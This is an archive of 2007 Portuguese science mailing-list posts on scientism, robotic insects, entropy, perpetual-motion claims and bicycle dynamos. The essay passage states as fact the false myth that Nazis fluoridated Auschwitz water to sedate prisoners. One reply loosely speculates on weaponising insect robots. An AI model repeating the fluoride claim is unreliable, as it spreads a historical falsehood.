considerarem todos os seres vivos como "nossos parentes" - sofrem com
o sofrimento universal.

Mas, se "o que é não pode ser mudado", ao menos podem ser obnubiladas
ou transfiguradas as más emoções que o estado natural das coisas nos
desperta - e se consegue isso não tanto por meio da sublimação
artística, pois, de acordo com Freud, a arte produz uma satisfação
muito precária. Já o artifício da ilusão religiosa deve ser de pronto
rechaçada, visto que é contra a ilusão que a ciência investe. A
solução para o sofrimento, inclusive para as dores do amor universal -
essa hipertrofia ou efeito colateral de uma emoção mamífera
(salientando que as aves e alguns répteis também a manifestam) - deve
ser buscada, de acordo com os cientificistas "lights" fiéis a seus
princípios, nas tecnologias criadas pela própria ciência, mormente a
engenharia genética e a bioquímica, isto é, na biotecnologia, na
eugenia positiva e na farmacotecnologia.

A propósito, no romance de Aldous Huxley "Admirável Mundo Novo", um
indivíduo de uma casta biologicamente inferior - uma criação
biotecnológica - afirma para um de seus semelhantes, mais ou menos
com essas palavras: - "Como é bom ser um gama, eu não suportaria ser
um alfa". Disse isso após tomar sua dose diária de "soma", a pílula
da felicidade artificial que, segundo o autor da obra, não possui
efeito colateral algum.

Enquanto essa droga ideal não aparece, vamos nos virando com
antidepressivos, ansiolíticos, reguladores do humor e carbonato de
lítio (contra as neuroses de origem sexual, o Prozac é o melhor
remédio, sobretudo por um de seus efeitos colaterais: diminui
consideravelmente a libido do indivíduo). Aliás, aumentar a dosagem
de flúor nos reservatórios de água potável que abastecem as
populações seria uma outra solução, dado que o ácido
hexafluorsilícico, como descobriram os médicos - verdugos de jaleco -
nazistas, produz efeitos sedativos e tensiolíticos, razão pela qual
introduziram-no no abastecimento d'água do campo de extermínio de
Auschwitz com o propósito de mitigar as resistências psíquicas dos
condenados à morte nas câmaras de gás. (Lembro que a água fluorada já
é usada em muitos países, porém como prática preventivo de saúde
pública: a diminuição de incidência de cáries na população.)

Quanto ao cientificista "hard", este não só defende que "o que é não
pode ser modificado" (lembre-se que a ciência trata "do que é") como
também propugna que "o que é 'deve ser' e é bom que seja". Vale
dizer, para os "hards", as leis do ser (leis biológicas, por exemplo)
são, igualmente, normas do dever ser (imperativos éticos), de modo
que "devemos" (é para nós um dever moral) adequar a sociedade às leis
da natureza, "conditio sine qua non" para a instauração do "melhor
dos mundos possíveis" (os fisiocratas, primeira escola cientificista
de que se tem notícia, defendiam a sujeição da economia às "leis da
natureza" - do grego, fisi(o): natureza; -cracia: governo -, sendo
seu lema "Laissez-faire, laissez-passer, le monde va de lui-même."
(Deixai-nos fazer, deixai-nos passar, o mundo anda por si mesmo).

Destarte, toda ação contrária a esse imperativo cientificista-hard,
de acordo com os fiéis dessa religião laica, denota "doença".
Qualquer sistema moral que não seja a "moral natural" consiste em
criação intelectual de pessoas ressentidas com a realidade devido a
uma enfermidade; ou excreções mentais de indivíduos inaptos - do
ponto de vista evolutivo - subsistindo na esteira que conduz ao
moinho da contra-seleção; ou então, consoante uma vulgata da memética
de Dawkins, um memeplexo virótico e nocivo que se nutre da atividade
eletroquímica do cérebro do hospedeiro e se dissemina através da
linguagem.

Para o cientificista "hard" (quer seja um social-darwinista, um
socialista "científico" ou um cientista econômico neoclássico adepto
do ultraliberalismo ou liberismo), a natureza é ética, haja vista,
repito, o caráter normativo que ele atribui às leis naturais, entre
às quais se incluem as leis da história e as leis do mercado. Também,
para tal tipo de cientificista, o Mau biológico (doenças, inaptidões
ainda não contra-selecionadas, anomias sociobiológicas...) e o Mal
moral são a mesma coisa.

A razão cientificista "hard" é, para todos os efeitos, um sucedâneo
do Deus único dos monoteísmos, mais precisamente do cruel e brutal
Iavé do Antigo Testamento, que se valia da violência extrema para
fazer valer os seus desígnios. Com efeito, para os c-hards, a
violência impera na natureza viva, é a principal força criadora: por
meio dela - através da agressão intra-específica e da luta
intergrupal ou interespecífica - o doente ou inapto (i.e., o portador
do Mal) é eliminado, ao passo que o saudável e apto (ou seja, o
agente do Bem) sobrevive e se dissemina.

Por ser a violência um instrumento do Bem, um meio bom para se chegar
ao Bem, então - concluem esses jusuítas da Igreja Universal da
Ciência - é dever dos justos fazer uso dela.

Um dos ideólogos do liberalismo econômico "laissez faire"
oitocentista, o "social-darwinista de mercado" Herbert Spencer,
propugnou rédeas soltas à ultraviolência da natureza contra os
fracos, doentes e inaptos. É dele essa sentença: "Os que são capazes
de viver, viverão e é justo que vivam; os que não são capazes de
viver morrerão, e é justo que morram". Como se pode constatar, para
esse pensador a seleção natural estabilizadora - que "apena" os
falhados com a morte - aplicada à sociedade humana é meio de
promover "justiça penal", castigos justos. Em miúdos, os incapazes
morrem "justamente" porque são maus, sua maldade está em seu
genótipo, sendo, portanto, inata e transmissível às gerações futuras.
Impressionando como isso lembra o mito judaico-cristão do pecado
original, que vem passando de geração a geração desde Adão (todo
homem, descendente de Adão, nasce em pecado), pecado adâmico
expurgável com o batismo ou com com muito sofrimento, morte dolorosa,
trabalho escravo etc.

Os c-hards ultraliberais que não pertencem à corrente "social-
darwinista de mercado defendem, no entanto, ponto de vista análogo
(ou homólogo?), ao postularem que o postularem que o sistema de
preços, no contexto do livre-mercado, não apenas é o mecanismo mais
eficiente de alocação de recursos como o meio por excelência de
estabelecer "justiça distributiva". Ora, em ambos os casos as leis do
mercado são tidas como promotoras da Justiça e do Bem, apresentadas
sob uma auréola moral. Fala-se até em uma "mão invisível" que ajusta
os comportamentos egoísticos dos sujeitos econômicos de modo que
venham a resultar numa totalidade harmônica - mão invisível esta que,
para operar, não raro necessita, como assinalou Milton Friedman, de
um "punho visível", istoé, da violência

No que diz respeito ao marxismo-leninismo-stalinismo (uma variedade
de esquerda do cientificismo "hard"), segundo sua premissa maior o
processo histórico é um movimento progressivo - do inferior ao
superior - presidido por uma férrea lei objetiva: a lei da unidade
dialética entre forças produtivas materiais e relações sociais de
produção. Resumindo de maneira grosseira: as forças produtivas se
desenvolvem até não mais caberem nas relações de produção que antes
favoreciam o seu desenvolvimento. É quando a correspondência entre
ambas se transforma em contradição antagônica. Porém, através de uma
revolução, novas relações de produção substituem as antigas e a
harmonia é restabelecida. Esse movimento teve por ponto de partida a
comunidade primitiva, passou sucessivamente por vários modos de
produção - o do tipo asiático, o escravismo, o feudalismo, o
capitalismo - e tende a culminar no socialismo.

Algumas perguntas, porém, perturbam os materialitas históricos: o que
garante que esse movimento objetivo, progressivo e necessário nos
conduzirá a uma sociedade mais justa, livre e fraterna? E se Marx,
após muito investigar, concluisse que o processo histórico segue
inelutavelmente rumo a uma sociedade fortemente hierarquizada,
totalitária e baseada numa nova forma de trabalho escravo? Se a
racionalidade histórica há de desembocar nessa barbárie, valeria a
pena se aliar à razão, agir racionalmente?

Stalin, em seu ensaio "Problemas Econômicos do Socialismo na Rússia
(1952), em certos trechos parece sustentar que sim: que devemos nos
submeter aos ditames da razão histórica, pois se opor a ela é ir ao
encontro da morte, do extermínio. Essa relação com a razão é análoga
a relação de certos povos primitivos com seus terríveis deuses:
apenas para não serem mortos ou supliciados por tais divindades, os
indivíduos se prostravam em seus templos e oferendavam-lhes seus mais
valiosos bens.

Com efeito, para Stalin a superioridade do socialismo em relação ao
capitalismo nada tem a ver com ética (o progresso histórico é alheio
à moral), mas com o fato de as relações socialistas de produção serem
as únicas adequadas ao alto grau de desenvolvimento alcançado pelas
forças produtivas da sociedade e, também, as únicas capazes de
promover o seu desenvolvimento posterior. A respeito do que pensava
Stalin acerca da relação entre devir histórico e o que Lukács
denominou de a "moral dos fins últimos", o filósofo italiano Lucio
Colletti (ex-comunista, atualmente um liberal de esquerda)
escreveu: "[conforme a vulgata stalinista do materialismo histórico],
a transformação da sociedade, a passagem de um tipo de sociedade a
outro, não tem o dever de realizar finalidades humanas. Tem como
única... finalidade restabelecer o pleno funcionamento da lei causal
da "correspondência". O socialismo [na acepção de Stalin,
escandalosamente manifesta nos crimes bárbaros que ele e sua
camarilha cometeram] não tem nada a ver com a liberdade. Uma vez
restabelecida aquela "correspondência", ele suporta sem a menor
dificuldade inclusive os campos de concentração".

O cientificismo "hard" (ou fundamentalista) é a religião laica que
mais seduz indivíduos inteligentes, orgulhosos da sua cultura,
cerebrotônicos, dominados pelo "medo irracional do irracional",
emocionalmente arruinados e de caráter sadomasoquista. Se o
frankensteiniano desejo do conhecimento absoluto gera monstros
assassinos, então... vivam as lacunas da Ciência!

Abraços,
Manuel Bulcão



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SUBJECT: Re: [ciencialist] [RN] Inseto robótico levanta vôo pela primeira vez
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 13:08

>
>Com dimensões reais e apenas 60 miligramas, robô conseguiu voar.
>Realização amplia possibilidades de utilização de equipamento para
>segurança.
>http://g1.globo.com/Noticias/Tecnologia/0,,MUL73449-6174,00.html
>--------------------
>Isso é algo q me dá aflição. Não por serem insectóides decerto, mas
>por serem espiões virtualmente indetectáveis. Não q tenhamos coisas
>terríveis a esconder, mas a idéia de perder a pouca privacidade q nos
>resta é-me perturbadora. Daqui a pouco cai na rede a foto de minha
>coleção secreta de relouquites... brrrrr.
>

É só colocar telinhas nas portas e nas janelas! Se não adiantar, se morar no
centro da cidade onde deverá ser infestado, vá estocando inseticidas de
pulso magnético.

[],s
Jeff.



SUBJECT: Re: [ciencialist] Re: Entropia: Pequeno paradoxo cosmológico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 13:22

Recomeçou ............

Carro de corrida: <Na visão "fisiques", direção supoe dois pontos, concorda?>

Léo: Nem com corda, nem com barbante. Direção é a propriedade comum ao feixe de retas paralelas e nada tem a ver com "supor dois pontos". Essa história de "dois pontos" é um dos postulados de Euclides, na G. Plana, para definir uma reta. Note: Frase interrogativa.

Carro de corrida: < Supoe o sentido do deslocamento de um ponto a outro, certo?>

Léo: Um sentido (positivo/negativo/esquerda/direita/para cima/para baixo etc.), que nada tem a ver com deslocamento, é posto sobre uma "curva", que em particular pode ser reta; não é posto sobre uma "direção" (direção é propriedade de feixe de retas paralelas e não é 'algo' que se ande em cima dela!). O sentido de A para B sobre uma reta não implica em qqer deslocamento entre A e B ou algo que se desloque de A para B. Além disso, essa frase não tem qqer subordinação com a anterior; logo "errado".
Note: frase interrogativa?

Carro de corrida: <E este deslocamento supoe dois pontos "fisiqueses" no espaço "fisiques", não é?>

Léo: Frase interrogativa sem qqer significado físico.

Carro de corrida: <Então, pergunto, será que a compreensão de entropia e seta do tempo é uma questão de "fisiques"? >

Léo: E o que tem feito até agora se não perguntar? Onde vc afirmou algo ou propôs uma frase não interrogativa? O tema do Assunto nada tem a ver com suas perguntas.

Carro de corrida: <Ou será que o paradoxo não está no próprio olho "fisiques"? >

Léo: Será outra pergunta? Isso não é o próprio paradoxo? Uma circularidade interrogativa?
Talvez tenhamos que apelar para o olho quimiques, biologiques, geometriques, matematiques e logiques. O ques diz?

Essa lista de discussão é sobre Ciência; atenha-se ao Assunto: Entropia.
Deixe o Takata em paz!

[]'

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Luiz Ferraz Netto [Léo]
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 10:56
Assunto: [ciencialist] Re: Entropia: Pequeno paradoxo cosmológico


Takata,

Na visão "fisiques", direção supoe dois pontos,
concorda? Supoe o sentido do deslocamento de um ponto
a outro, certo? E este deslocamento supoe dois pontos
"fisiqueses" no espaço "fisiques", não é? Então,
pergunto, será que a compreensão de entropia e seta do
tempo é uma questão de "fisiques"? Ou será que o
paradoxo não está no próprio olho "fisiques"?

sinceramente
ferrari




SUBJECT: Re: [ciencialist] [RN] Inseto robótico levanta vôo pela primeira vez
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 13:42

Dá pra transformar isso em algum tipo de arma?

Gil

Em 20/07/07, Jeff <jeff@jeff.com.br> escreveu:
>
> >
> >Com dimensões reais e apenas 60 miligramas, robô conseguiu voar.
> >Realização amplia possibilidades de utilização de equipamento para
> >segurança.
> >http://g1.globo.com/Noticias/Tecnologia/0,,MUL73449-6174,00.html
> >--------------------
> >Isso é algo q me dá aflição. Não por serem insectóides decerto, mas
> >por serem espiões virtualmente indetectáveis. Não q tenhamos coisas
> >terríveis a esconder, mas a idéia de perder a pouca privacidade q nos
> >resta é-me perturbadora. Daqui a pouco cai na rede a foto de minha
> >coleção secreta de relouquites... brrrrr.
> >
>
> É só colocar telinhas nas portas e nas janelas! Se não adiantar, se morar
> no
> centro da cidade onde deverá ser infestado, vá estocando inseticidas de
> pulso magnético.
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> Jeff.
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SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 13:56

Olá Álvaro,

muito bom!
Vamos às erratas:
1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode ser alimentado por meio de baterias de corrente contínua.
Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que não seja de corrente contínua?
2)no parágrafo final: ..... eu estava examinando aguns feeds da revista The Economist ..
Léo: alguns em lugar de aguns.

Sim, só isso!

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 09:56
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da série "moto contínuo". Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html

[ ]s

Alvaro Augusto




SUBJECT: ENC: [ciencialist] Voltaire
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 14:40





De: J.Victor [mailto:j.victor.neto@uol.com.br]
Enviada em: quinta-feira, 19 de julho de 2007 19:45
Para: 'ciencialist@yahoogrupos.com.br'
Assunto: ENC: [ciencialist] Voltaire









> Hoje, um "cientificista" também tem certeza que temos
capacidade de entender o universo, mas via ciência (ou seja, por nós
mesmos). O problema aí está nesta certeza.



Victor: Será que o pensamento é esse mesmo? Para mim, é bastante claro
que aqueles que realmente compreendem o significado da ciência, em especial
a física, quanto às suas possibilidades, suas potencialidades e limitações,
sabem que a ciência não tem outro objetivo a não ser o de descrever o
comportamento da natureza. As ferramentas ora disponíveis não servem para se
ir ao cerne das coisas, ao âmago das questões, às verdades essenciais, por
assim dizer. Mas, verdades essenciais? Que são essas verdades?
Particularmente, não creio que exista nada mais além do que podemos observar
e medir, com réguas e relógios, genericamente falando.

Descrever a natureza, em todas as suas nuances, já é uma senhora tarefa.
E conseguimos isso, não totalmente, mas, diria, em grande escala, com muita
propriedade, a partir das leis da própria natureza, que descobrimos e
soubemos codificar para uma linguagem inteligível e universal: a matemática.
Um cientificista que pensa diferente é, realmente, só um “cientificista”...
Ou seja, ainda não chegou lá, pois nem ouviu o galo cantar. Ouviu o grasnar
rouco de outra ave. Do galo, necas. Que estava de ressaca. Embora
reconheça que é difícil você se libertar das amarras dos preconceitos que
adquiriu, ao longo de sua formação.

Os fenômenos através dos quais a natureza se manifesta não acontecem em
vista de algo que manuseia os pauzinhos. Como num teatro de bonecos. Só
acontecem. Nada mais. Não há uma razão para a existência, não há um
objetivo, não há um propósito . Talvez eu seja burro o suficiente para não
conseguir “enxergar” além do que canta minha prosopopéia. Bem, se eu estiver
errado, virarei torresmo. E será bem feito.

Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Jeff
Enviada em: quinta-feira, 19 de julho de 2007 11:36
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Voltaire



>
> Considerar que somos superiores a tudo, livres para fazer o que quiser
> sem prestar contas a ninguém, plenos conhecedores dos segredos da
> natureza...
>

Existe uma prepotência neste sentido, que chamam de "cientificismo".

Desde quando começamos a ter auto-consciência, nos achamos especiais e até a

razão da existência do universo. Na antiguidade não sabíamos de nada, nem o
que era um vulcão, um terremoto ou um tsunami... Nem que morávamos num
planeta e muito menos o tamanho deste... Achávamos que deveríamos ter o
direito de saber a verdade, mas, na falta de conhecimento, esta então nos
deveria ser revelada! Hoje, um "cientificista" também tem certeza que temos
capacidade de entender o universo, mas via ciência (ou seja, por nós
mesmos). O problema aí está nesta certeza.

>
> ou considerar que não há evidências da razão criadora-mantenedora,
> é uma tentativa de se iludir, fechando os olhos e o intelecto para a
> realidade
> constatada a todo instante. Parece-me uma atitude totalmente irracional.
>

A nossa ignorância NÃO é evidência de que exista uma "força
criadora-mantenedora".

>
> Procurar conhecer a criação não implica necessariamente termos que
> considerar o Criador inexistente. Um mínimo de lucidez se faz necessário
> para não confundirmos idéias e pensamento com a Realidade tenuamente
> percebida.
>

Nós NÃO SABEMOS como tudo começou e pronto! Podemos saber um dia ou nunca! E

daí? Não muda nada... Claro que não nos sentimos bem com isso, mas não
adianta inventarmos uma explicação (porque é interessante, bonita ou
confortável) e tentar prová-la depois, como fazem as religiões. Onde você vê

lógica em começar a raciocinar pela conclusão? O que fazemos (e só o que
podemos fazer), é, via ciência, tentarmos fazer uma "engenharia reversa" pra

tentar entender a realidade, seja ela qual for.

[]´,s
Jeff.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 14:44

Caro Léo,

"Bateria de corrente contínua" é uma criatura da mesma família do
"alternador de corrente alternada". Você não conhece? :-)

Quanto ao "aguns", maldito corretor ortográfico do Word!

Obrigado pelas correções. Acho que preciso trocar minhas lentes...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 1:56 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"


Olá Álvaro,

muito bom!
Vamos às erratas:
1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode ser
alimentado por meio de baterias de corrente contínua.
Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que não
seja de corrente contínua?
2)no parágrafo final: ..... eu estava examinando aguns feeds da revista The
Economist ..
Léo: alguns em lugar de aguns.

Sim, só isso!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 09:56
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
série "moto contínuo". Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html[ ]sAlvaro Augusto


SUBJECT: Re: [RN] Inseto robótico levanta vôo pela primeira vez
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 14:44

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Dá pra transformar isso em algum tipo de arma?

Certamente. Vc pode carregar esses bichos com toxinas e venenos,
microorganismos e vírus patogênicos, material radioativo, eles podem
entupir ou danificar motores e equipamentos de segurança, ter
miniexplosivos de alta potência (um enxame deles poderia causar um
estrago comparável a uma arma convencional)...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: [RN] Inseto robótico levanta vôo pela primeira vez
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 15:12

Resumindo: se a tecnologia puder ser produzida com baixo custo, estaremos
f...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 2:44 PM
Subject: [ciencialist] Re: [RN] Inseto robótico levanta vôo pela primeira
vez


--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Dá pra transformar isso em algum tipo de arma?

Certamente. Vc pode carregar esses bichos com toxinas e venenos,
microorganismos e vírus patogênicos, material radioativo, eles podem
entupir ou danificar motores e equipamentos de segurança, ter
miniexplosivos de alta potência (um enxame deles poderia causar um
estrago comparável a uma arma convencional)...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 20:18

Caro Álvaro,

sim, conheço o 'alternador de corrente alternada', só que tem gente que confunde com 'dínamo de bicicleta'.
Dínamo é essencialmente a denominação de um gerador de CC (na verdade uma CC pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta fornece CC (mesmo que pulsante).
Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã permanente como rotor/indutor e bobina fixa/induzido.
Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' + polia + correia + manivela) e tentam com ele fazer funcionar um rádio de pilhas (e só escutam roncos!), uma eletrólise (e os gases saem misturados) e acender lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica piscando pois a freqüência é maior que 10 Hz). Alguns tentam carregar baterias com o gerador elementar acima descrito. Que frustração!

Claro que nada que uma ponte retificadora e um bom eletrolítico não conserte, mas nem sonham com tal ponte e filtragem!

Em fim, ....

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 14:44
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Caro Léo,

"Bateria de corrente contínua" é uma criatura da mesma família do
"alternador de corrente alternada". Você não conhece? :-)

Quanto ao "aguns", maldito corretor ortográfico do Word!

Obrigado pelas correções. Acho que preciso trocar minhas lentes...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 1:56 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"


Olá Álvaro,

muito bom!
Vamos às erratas:
1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode ser
alimentado por meio de baterias de corrente contínua.
Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que não
seja de corrente contínua?
2)no parágrafo final: ..... eu estava examinando aguns feeds da revista The
Economist ..
Léo: alguns em lugar de aguns.

Sim, só isso!

[]'

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Luiz Ferraz Netto [Léo]
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http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 09:56
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
série "moto contínuo". Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html[ ]sAlvaro Augusto


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SUBJECT: Re: [ciencialist] Re: Entropia: Pequeno paradoxo cosmológico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 20:21

Recomeçou ............

Carro de corrida: <Na visão "fisiques", direção supoe dois pontos, concorda?>

Léo: Nem com corda, nem com barbante. Direção é a propriedade comum ao feixe de retas paralelas e nada tem a ver com "supor dois pontos". Essa história de "dois pontos" é um dos postulados de Euclides, na G. Plana, para definir uma reta. Note: Frase interrogativa.

Carro de corrida: < Supoe o sentido do deslocamento de um ponto a outro, certo?>

Léo: Um sentido (positivo/negativo/esquerda/direita/para cima/para baixo etc.), que nada tem a ver com deslocamento, é posto sobre uma "curva", que em particular pode ser reta; não é posto sobre uma "direção" (direção é propriedade de feixe de retas paralelas e não é 'algo' que se ande em cima dela!). O sentido de A para B sobre uma reta não implica em qqer deslocamento entre A e B ou algo que se desloque de A para B. Além disso, essa frase não tem qqer subordinação com a anterior; logo "errado".
Note: frase interrogativa?

Carro de corrida: <E este deslocamento supoe dois pontos "fisiqueses" no espaço "fisiques", não é?>

Léo: Frase interrogativa sem qqer significado físico.

Carro de corrida: <Então, pergunto, será que a compreensão de entropia e seta do tempo é uma questão de "fisiques"? >

Léo: E o que tem feito até agora se não perguntar? Onde vc afirmou algo ou propôs uma frase não interrogativa? O tema do Assunto nada tem a ver com suas perguntas.

Carro de corrida: <Ou será que o paradoxo não está no próprio olho "fisiques"? >

Léo: Será outra pergunta? Isso não é o próprio paradoxo? Uma circularidade interrogativa?
Talvez tenhamos que apelar para o olho quimiques, biologiques, geometriques, matematiques e logiques. O ques diz?

Essa lista de discussão é sobre Ciência; atenha-se ao Assunto: Entropia.
Deixe o Takata em paz!

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 10:56
Assunto: [ciencialist] Re: Entropia: Pequeno paradoxo cosmológico




SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 22:37

Pelo menos anteriormente, um dínamo de biscreta tinha um ímã bem poderoso.
Como pode sair um AC ou um CC muito pulsante disso?
Só exponho minha ignorância... sem discução.
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: Motor "revolucionário"
>Date: Fri, 20 Jul 2007 20:18:45 -0300
>
>Caro Álvaro,
>
>sim, conheço o 'alternador de corrente alternada', só que tem gente que
>confunde com 'dínamo de bicicleta'.
>Dínamo é essencialmente a denominação de um gerador de CC (na verdade uma
>CC pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta
>fornece CC (mesmo que pulsante).
>Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã permanente
>como rotor/indutor e bobina fixa/induzido.
>Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e
>muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' + polia
>+ correia + manivela) e tentam com ele fazer funcionar um rádio de pilhas
>(e só escutam roncos!), uma eletrólise (e os gases saem misturados) e
>acender lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica
>piscando pois a freqüência é maior que 10 Hz). Alguns tentam carregar
>baterias com o gerador elementar acima descrito. Que frustração!
>
>Claro que nada que uma ponte retificadora e um bom eletrolítico não
>conserte, mas nem sonham com tal ponte e filtragem!
>
>Em fim, ....
>
>[]'
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> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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>-----Mensagem Original-----
>De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: sexta-feira, 20 de julho de 2007 14:44
>Assunto: Re: [ciencialist] Re: Motor "revolucionário"
>
>
>Caro Léo,
>
>"Bateria de corrente contínua" é uma criatura da mesma família do
>"alternador de corrente alternada". Você não conhece? :-)
>
>Quanto ao "aguns", maldito corretor ortográfico do Word!
>
>Obrigado pelas correções. Acho que preciso trocar minhas lentes...
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Friday, July 20, 2007 1:56 PM
>Subject: Re: [ciencialist] Re: Motor "revolucionário"
>
>
>Olá Álvaro,
>
>muito bom!
>Vamos às erratas:
>1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode ser
>alimentado por meio de baterias de corrente contínua.
>Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que não
>seja de corrente contínua?
>2)no parágrafo final: ..... eu estava examinando aguns feeds da revista
>The
>Economist ..
>Léo: alguns em lugar de aguns.
>
>Sim, só isso!
>
>[]'
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> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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>-----Mensagem Original-----
>De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: sexta-feira, 20 de julho de 2007 09:56
>Assunto: Re: [ciencialist] Re: Motor "revolucionário"
>
>
>Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
>série "moto contínuo". Detalhes em
>
>http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html[
>]sAlvaro Augusto
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>Version: 7.5.476 / Virus Database: 269.10.9/907 - Release Date: 18/07/2007
>15:30
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SUBJECT: Re: [ciencialist] [RN] Inseto robótico levanta vôo pela primeira vez
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/07/2007 02:28

